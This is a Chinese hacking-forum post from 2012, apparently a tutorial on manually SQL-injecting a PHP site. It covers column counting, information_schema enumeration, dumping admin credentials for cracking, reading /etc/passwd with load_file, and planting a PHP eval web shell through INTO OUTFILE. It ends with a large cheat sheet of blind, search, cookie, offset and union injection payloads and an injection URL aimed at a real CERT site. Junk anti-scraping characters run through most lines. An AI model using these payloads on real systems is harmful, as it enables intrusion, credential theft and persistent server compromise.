找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2692|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
1 U/ T$ F! ^9 L让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
& ], k' ?! |+ \, y7 h3 l- C我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
! \: [& T& o: ~" h' v8 p7 o如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)3 g! n  K1 i& M# w0 C
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)
3 l- \2 p# B* H8 X7 w4 p. z这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
& ]1 |4 m. O5 r. {* R9 {0 eWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in7 Q; g3 p4 S$ t/ g6 x& B) U' z" _
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
* l7 q% @2 S1 m' F                           |& h+ T7 A+ p) t
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,. n: S( h( u* |8 ?% K3 S4 l/ ]) f
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意; p5 a/ ?$ Q; m) R' F  p
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
  E0 Q- T8 D$ P5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。6 A9 K, e/ ~" H& o  J7 X( V. `# X
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,
1 V$ E- [9 C( \8 _  n4 o! o: {% O- d2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
" e* S# B/ w# v. i我就用的是第二个思路,
0 U2 N( P* p3 [4 g提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
! \2 t# q) u8 y) F* d( a; l: D  b6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
) u  ]$ I4 g1 r* N: j) y提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--  h) n, M" g& h/ ?
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。0 {: ?# D# w7 R3 S) R2 n% x, P
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????# s4 H1 D4 ]' U
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....9 K4 _- s- r2 o) S# E$ l! |
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --
7 L7 t( n  S  F然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,6 |: o7 t, W* @/ ]: r
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
- \) A5 Z7 ?, r. n下面是一些很普遍注入方式资料:. m$ b* L. U# W# W8 {$ e2 |
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
  r( c) F! v6 O; `+ z: f. h$ n  q拆半法
) I& O2 K* p9 @; w0 N0 p######################################* _$ Q7 ?% Q) C. Q* `6 G% i2 I2 N
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。5 T' d3 y/ [' L! u, Q: A1 {0 t
and exists (select * from admin)
4 V% j( ~5 b' @% U: Band exists(select id from admin), i  e4 N" ^5 U5 Q$ z) X: V
and exists(select id from admin where id=1)2 a9 h, b. o' c; ]/ A
and exists(select id from admin where id>1)
! L1 f- g$ h  w2 J7 \然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
# x, h1 K5 u2 z; Q9 k+ wand exists (select username from admin)0 ]. y2 F6 z, t0 K* U8 i
and exists (select password from admin): G$ s; a, ~# j
and exists (select id from admin where len(username)<10 and id=1)
' ?) Q: p& u1 m  k" ]$ M% Yand exists (select id from admin where len(username)>5 and id=1)
& e: F3 p0 S  u! A2 T8 \7 vand exists (select id from admin where len(username)=6 and id=1)
" o" D3 b+ [5 z- v* L% z8 \. {and exists (select id from admin where len(password)<10 and id=1)0 ]4 o* A. ^# i" K  }# G* ]
and exists (select id from admin where len(password)>5 and id=1)
# {. ^7 X  N1 s9 s  c, u4 uand exists (select id from admin where len(password)=7 and id=1)8 u* Z' o+ g$ _
and (select top 1 asc(mid(username,1,1)) from admin)=975 O6 S/ v: h2 j
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。. q" s. k! }& f  H. N
猜第二位把username,1,1改成username,2,1就可以了。
* q5 i# D7 W2 u; d! g- o$ a猜密码把username改成password就OK了: J# q- a. Q! v8 L
##################################################
; N5 L, f* q. i, Y$ e+ ]搜索型注入, d+ E7 d+ e5 n, j, Z" l
##################################. ^7 y- l' s9 Y6 i6 I! q
%' and 1=1 and '%'='
+ c! v$ M- W2 X& J/ L2 C%' and exists (select * from admin) and '%'='. o# B% t" i% l6 Q1 y3 X
%' and exists(select id from admin where id=1) and '%'='
9 O) j* F! B( A* O7 Z9 f%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
, d( o: y( D/ C6 K' e# u%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
  \5 j9 N' Y& W3 o1 ^1 X2 O%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
) h( x7 u7 I4 t这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
( _& R, v+ |0 P9 h! c0 d对于MSSQL数据库,后面可以吧 and '%'='换成--& i# ]( t+ Y- y" Q2 X
还有一点搜索型注入也可以使用union语句。  p7 r+ \3 }- O
########################################################4 z, F3 @) z  H# g, j6 t* j) r
联合查询。2 C' Q8 P- T0 `, r* W
#####################################3 H( f; o* j; Z: ^3 L5 J3 f" V) V
order by 10; S/ z1 L# W9 |7 g, x/ g/ [* L: e
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
; C0 F7 t) J1 ^# E: gand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin0 e; y+ v: C6 N6 B, s5 N
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
. x5 g- w' r( Z4 j: T7 F很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)3 {: s3 z) ^6 s' |
###################################
8 \" i3 a$ P9 w; ~$ ~6 ocookie注入
8 N) a& |9 w* S7 ]$ {###############################% `% p- N: c) t* E- \# ^
http://www.******.com/shownews.asp?id=1272 _+ X! c. l3 l# T
http://www.******.com/shownews.asp
- k. {5 P6 u. f1 t8 H4 ialert(="id="+escape("127"));
6 B5 X8 H+ `- b! z1 valert(="id="+escape("127 and 1=1"));$ m1 v# z  ?5 D8 @& h
alert(="id="+escape("127 order by 10"));
* \7 X# S$ l4 x7 ?alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
8 y8 \- K. |. @1 K$ o  h" B, Walert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
2 C. Z1 m& C7 C5 f这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
4 Q! q0 A7 w' @% d7 o8 D###################################
  J' ^: q. t! Q) p4 R: W, S偏移注入5 f' J" _. N8 ~5 j
###########################################################: P; i. G; ~  v" g& i. ?# q7 F1 x7 I
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin% f  i4 z: e/ j
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin& [) C+ t) E' Y% @( Z3 H
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)1 t9 Z7 B* t- ?: |3 Y6 B  |, ?
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
/ j  a% V; W3 X& k. J8 }" ^0 Gunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
- V" E: L# X( w8 x8 |* Dunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id). n/ `; S( p3 P: [9 c- u
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on0 Z! M, B1 [4 \0 \# U3 z
a.id=d.id)+ D8 k4 A9 p. V! ~0 F% X
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
# D; v  g4 M# G8 s3 ^and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) - O! R( u  m2 b
  
/ K* R. o, k' x5 Y7 \6 D. z============================================================================================================4 b. |& w( O" {1 S8 s
1.判断版本
4 \4 Q% @, ^3 T3 nand ord(mid(version(),1,1))>51, u2 K/ G- c$ w4 |. C" G8 ?8 v% \
返回正常,说明大于4.0版本,支持ounion查询
4 {6 M$ x. A9 J0 ^8 H2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解; ^- [+ v+ j) [
and 2=4 union select 1,2,3,4,5,6,7,8,9--
- j* Z  ?) h/ r. B+ `1 C! m- b3.查看数据库版本及当前用户,
: _: M$ w' \7 c6 ^& s4 |2 T+ Fand 2=4 union select 1,user(),version(),4,5,6,7,8,9--3 k$ _* e4 T$ x
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,$ \; B& W( \. I  |/ j
4.判断有没有写权限, S; D! O  @6 h1 @8 R! ?3 R
and (select count(*) from MySQL.user)>0--
& I: N' d0 ]* y+ p+ K3 |+ b5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1* Z; ?" @8 j' S" p
用不了这个命令,就学习土耳其黑客手法,如下
% ^4 R2 t8 H( H1 D% V$ d; o0 qand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
8 H$ g9 E" k! h* L6.爆表,爆库% K2 d+ O- {" E+ {9 o1 R7 t
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--8 _2 T# K4 L, v5 Q! X- J
7.爆列名,爆表
' l, K3 |* Q) l& J. iand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--" ^) I# I' I) a
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。+ d. E9 S( u) @3 i* r: X
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--+ v5 B& o% X- n8 }% q" O, J
9.爆字段内容; y' O' e# P- R  L# V
and+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
: T8 A! `7 K; k$ Qhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表